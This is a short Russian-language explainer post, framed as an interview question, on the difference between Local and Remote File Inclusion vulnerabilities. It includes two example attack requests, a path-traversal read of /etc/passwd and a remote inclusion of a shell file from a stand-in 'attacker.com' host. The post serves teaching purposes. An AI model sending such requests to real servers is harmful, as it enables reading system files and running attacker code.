Уязвимости LFI и RFI — в чём разница
Ещё один вопрос с собесов, который я решил сегодня осветить.
LFI и RFI — это уязвимости класса File Inclusion, когда приложение позволяет пользователю повлиять на то, какой файл будет подключён, прочитан или обработан сервером.
━━━━━━━━━━ Что такое LFI ━━━━━━━━━━
LFI — Local File Inclusion. Это ситуация, когда приложение из-за пользовательского ввода подключает или читает локальный файл с самого сервера.
Простой пример: • GET /index.php?page=../../../../etc/passwd
Если приложение без нормальной валидации подставляет параметр page в файловую операцию, атакующий может выйти за пределы ожидаемой директории и добраться до системных файлов.
Важно понимать: ➤ LFI и Path Traversal — не всегда одно и то же Но очень часто LFI эксплуатируется именно через traversal-последовательности вроде ../ То есть path traversal часто выступает как техника достижения LFI.
━━━━━━━━━━ Что такое RFI ━━━━━━━━━━
RFI — Remote File Inclusion. Это уже иной сценарий, приложение позволяет подключить файл с удалённого сервера.
Пример: • GET /index.php?page=https://attacker.com/shell.txt
Если сервер берёт этот внешний файл, загружает его и интерпретирует как код или шаблон, это уже может привести к очень серьёзным последствиям. Чаще всего именно здесь и всплывает RCE.
━━━━━━━━━━ В чём главное отличие данных уяз ━━━━━━━━━━
Если коротко: • LFI — заставили сервер работать со своим локальным файлом • RFI — заставили сервер подтянуть чужой внешний файл
Тем самым RFI обычно считается опаснее, потому что там намного ближе путь к выполнению атакующего кода.